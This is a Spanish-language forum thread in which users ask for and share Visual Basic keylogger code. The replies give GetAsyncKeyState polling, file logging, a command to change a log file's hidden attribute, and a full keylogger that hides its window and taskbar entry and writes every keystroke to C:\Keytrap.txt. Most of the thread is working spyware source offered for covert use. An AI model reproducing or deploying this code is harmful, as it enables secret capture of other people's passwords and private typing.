key logger con visual basic ayuda

[ferm1]

hola yo mucho nos eestoy leyendo un poco pero igual no alcansa si alguien sabe como aser un keylogger en vb me lo dise plz grasias 


o que me de los coman jaa grasias

[ziBboh]

Que tal brother, para hacer un keyloger, debes de usar la siguiente API

Código:

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer

y en un Timer con un intervalo de 1 pon esto:

Código:

Dim x As Integer, i As Integer

For i = 33 To 124
x = GetAsyncKeyState(i)
If x = -32767 Then
    Text1.Text = Text1.Text + Chr(i)
End If

Creo que eso es lo basico, espero y te sirva y busques como agregar mas teclas Ok.

[ferm1]

ha  para si me lo explicas mejor como aserlo te agradeseria un monton jaaa
lo que pasa es como dije no se mucho y lo que se es poco y nada jajaaa


grasias igual si sirve

[happy-word]

mira con ese codigo que te publico zhibo ya lo tienes echo

ese codigo se encarga de registrar las pulsaciones de tecla que se efectuan en la maquina....

luego solo tienes que guardarlos en un archivo de texto o algun otro archivo,

y listo

[-SharK_90-]

Ya que estamos en el tema::
Como se hace para obtener el nombre de la aplicacion donde pulsamos la tecla?

[700esoj]

De lo poco que conosco de programacion, no creo que uno pueda hacer lo de saber el nombre de la applicacion en la que la persona esta escribiendo. Pero laverdad es que alomejor quien sabe! jejeje
-700esoj

Hablando del tema, Como podemos hacer que se grabe en un archivo de texto llamado keylogged.txt y occultarlo en una carpeta ordinaria como
%userprofile%\mis documentos  O C:\documents and settings\administrador\mis documentos ?

Ocultar el archivo se puede hacer con el commando de DOS attrib -h, creo yo que de la siguiente forma, pero si esta mal corrijanme por favor

Código:

Private sub Form1_unload()
Shell "cmd.exe /c attrib -h keyllogged.txt"
end sub

Tu codigo quedaria asi ?

Modulo

Código:

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer

En Form

Código:

Private sub Form1_load()
Dim x As Integer, i As Integer

For i = 33 To 124
x = GetAsyncKeyState(i)
If x = -32767 Then
    Text1.Text = Text1.Text + Chr(i)
End If
End Sub

La pregunta es........ Como puedo hacer que se queden grabado en el archivo como pregunte arriba?

gracias
-700esoj

[ziBboh]

Código:

Open "C:\Log.txt" For Append As #1
    Print #1, Text1.Text
    Print #1, "Fin del log"
    Close #1

Aqui solo modifica a tu antojo el codigo.

Y para cambiar los atributos, lo puedes hacer sin CMD.exe.

[Dj_Dexter]

Hola aqui les dejo codigo de un keyloger 
1-abrir vb
2-Elegir Form Normal
3-Agregar 1 modulo
4- agregar 1 text1, multiline = -1 true, scrollbars = -3 both, 3 timers
el form 1 ponerle propiedad ShowIn Taskbar = false

5- escribir este codigo
en el modulo1

Código:

'--------------------------------------------------------------------
'Usando SendMessage del Api de Windows, poder tener text-box con 64 KB
'en lugar de los 32 que admite Visual Basic.
'--------------------------------------------------------------------
'Declaración de la función API
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long

'Declaración de las constantes
Public Const WM_USER = &H400
Public Const EM_LIMITTEXT = WM_USER + 21

en el form1

Código:

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim LastData As String
Dim Shift As Integer
Dim Caps  As Integer
Dim KeyResult As Long

Private Sub AddKey(Key As String)
Text1 = Text1 & Key
Text1.SelStart = Len(Text1)
End Sub

Private Sub Form_Load()

Timer1.Enabled = True
    Timer1.Interval = 1
   
    Timer2.Enabled = True
    Timer2.Interval = 100

    Timer3.Enabled = True
    Timer3.Interval = 1
Form1.Visible = False
'En el Form_Load del text-box:
Dim LTmp As Long
LTmp = SendMessage(Text1.hwnd, EM_LIMITTEXT, 0, ByVal 0&)

End Sub

Private Sub Form_Unload(Cancel As Integer)
MsgBox "Cerraste mi aplicación con el Administrador de Tareas", 48 + 4096, "Chao!!!"
End Sub

Private Sub Timer1_Timer()
KeyResult = GetAsyncKeyState(20)
If KeyResult = -32767 Then
If Caps Then
Caps = False
Else
Caps = True
End If
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(13)
If KeyResult = -32767 Then
AddKey "[ENTER]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(8)
If KeyResult = -32767 Then
AddKey "[BKSPACE]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(9)
If KeyResult = -32767 Then
AddKey "[TAB]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(27)
If KeyResult = -32767 Then
AddKey "[Esc]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(32)
If KeyResult = -32767 Then
AddKey "[Espacio]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(37)
If KeyResult = -32767 Then
AddKey "[LEFT]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(38)
If KeyResult = -32767 Then
AddKey "[UP]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(39)
If KeyResult = -32767 Then
AddKey "[RIGHT]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(40)
If KeyResult = -32767 Then
AddKey "[DOWN]"
GoTo KeyFound
End If
For i = 65 To 90
KeyResult = GetAsyncKeyState(i)
If KeyResult = -32767 Then
If Shift Then
If Caps Then AddKey Chr(i + 32) Else AddKey Chr(i)
Else
If Caps Then AddKey Chr(i) Else AddKey Chr(i + 32)
End If
GoTo KeyFound
End If
Next i
For i = 48 To 57
KeyResult = GetAsyncKeyState(i)
If KeyResult = -32767 Then
If Shift Then
If i = 49 Then AddKey Chr(33)
If i = 50 Then AddKey Chr(64)
If i = 51 Then AddKey Chr(35)
If i = 52 Then AddKey Chr(36)
If i = 53 Then AddKey Chr(37)
If i = 54 Then AddKey Chr(94)
If i = 55 Then AddKey Chr(38)
If i = 56 Then AddKey Chr(42)
If i = 57 Then AddKey Chr(40)
If i = 48 Then AddKey Chr(41)
Else
AddKey Chr(i)
End If
GoTo KeyFound
End If
Next i
KeyResult = GetAsyncKeyState(16)
If KeyResult = -32767 And Not Shift Then
Shift = True
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(32)
If KeyResult = -32767 Then
AddKey " "
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(189)
If KeyResult = -32767 Then
If Shift Then AddKey "_" Else AddKey "-"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(187)
If KeyResult = -32767 Then
If Shift Then AddKey "+" Else AddKey "="
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(112)
If KeyResult = -32767 Then
AddKey "[F1]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(113)
If KeyResult = -32767 Then
AddKey "[F2]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(114)
If KeyResult = -32767 Then
AddKey "[F3]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(115)
If KeyResult = -32767 Then
AddKey "[F4]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(116)
If KeyResult = -32767 Then
AddKey "[F5]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(117)
If KeyResult = -32767 Then
AddKey "[F6]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(118)
If KeyResult = -32767 Then
AddKey "[F7]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(119)
If KeyResult = -32767 Then
AddKey "[F8]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(120)
If KeyResult = -32767 Then
AddKey "[F9]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(121)
If KeyResult = -32767 Then
AddKey "[F10]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(122)
If KeyResult = -32767 Then
AddKey "[F11]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(123)
If KeyResult = -32767 Then
AddKey "[F12]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(124)
If KeyResult = -32767 Then
AddKey "[F13]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(125)
If KeyResult = -32767 Then
AddKey "[F14]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(126)
If KeyResult = -32767 Then
AddKey "[F15]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(127)
If KeyResult = -32767 Then
AddKey "[F16]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(186)
If KeyResult = -32767 Then
If Shift Then AddKey ":" Else AddKey ";"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(188)
If KeyResult = -32767 Then
If Shift Then AddKey "<" Else AddKey ","
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(190)
If KeyResult = -32767 Then
If Shift Then AddKey ">" Else AddKey "."
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(191)
If KeyResult = -32767 Then
If Shift Then AddKey "?" Else AddKey "/"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(192)
If KeyResult = -32767 Then
If Shift Then AddKey "~" Else AddKey "`"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(222)
If KeyResult = -32767 Then
If Shift Then AddKey Chr(34) Else AddKey "'"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(220)
If KeyResult = -32767 Then
If Shift Then AddKey "|" Else AddKey "\"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(221)
If KeyResult = -32767 Then
If Shift Then AddKey "}" Else AddKey "]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(219)
If KeyResult = -32767 Then
If Shift Then AddKey "{" Else AddKey "["
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(96)
If KeyResult = -32767 Then
AddKey "0"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(97)
If KeyResult = -32767 Then
AddKey "1"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(98)
If KeyResult = -32767 Then
AddKey "2"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(99)
If KeyResult = -32767 Then
AddKey "3"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(100)
If KeyResult = -32767 Then
AddKey "4"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(101)
If KeyResult = -32767 Then
AddKey "5"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(102)
If KeyResult = -32767 Then
AddKey "6"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(103)
If KeyResult = -32767 Then
AddKey "7"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(104)
If KeyResult = -32767 Then
AddKey "8"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(105)
If KeyResult = -32767 Then
AddKey "9"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(106)
If KeyResult = -32767 Then
AddKey "*"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(107)
If KeyResult = -32767 Then
AddKey "+"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(108)
If KeyResult = -32767 Then
AddKey "[ENTER]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(109)
If KeyResult = -32767 Then
AddKey "-"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(110)
If KeyResult = -32767 Then
AddKey "."
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(111)
If KeyResult = -32767 Then
AddKey "/"
GoTo KeyFound
End If
KeyFound:

End Sub

Private Sub Timer2_Timer()
On Error Resume Next
    Dim graba As String
   
    graba = "C:\Keytrap.txt"

    Open graba For Output As #1
        Print #1, Text1.Text
       
    Close #1

End Sub

al terminar de copiar el codigo donde corresponde se ejecuta el app
se oculta el form1 se logean todas las teclas hasta las mayusculas
no se salva ni una tecla
ojalá les sirva este code de keyloger
 :

[happy-word]

miren aqui ahy varios temas en visual basic miren aver si aparece un keyloger es que no tengo tiempo de leer http://bauldelcodigo.creatuforo.com/foro-4-bauldelcodigo.html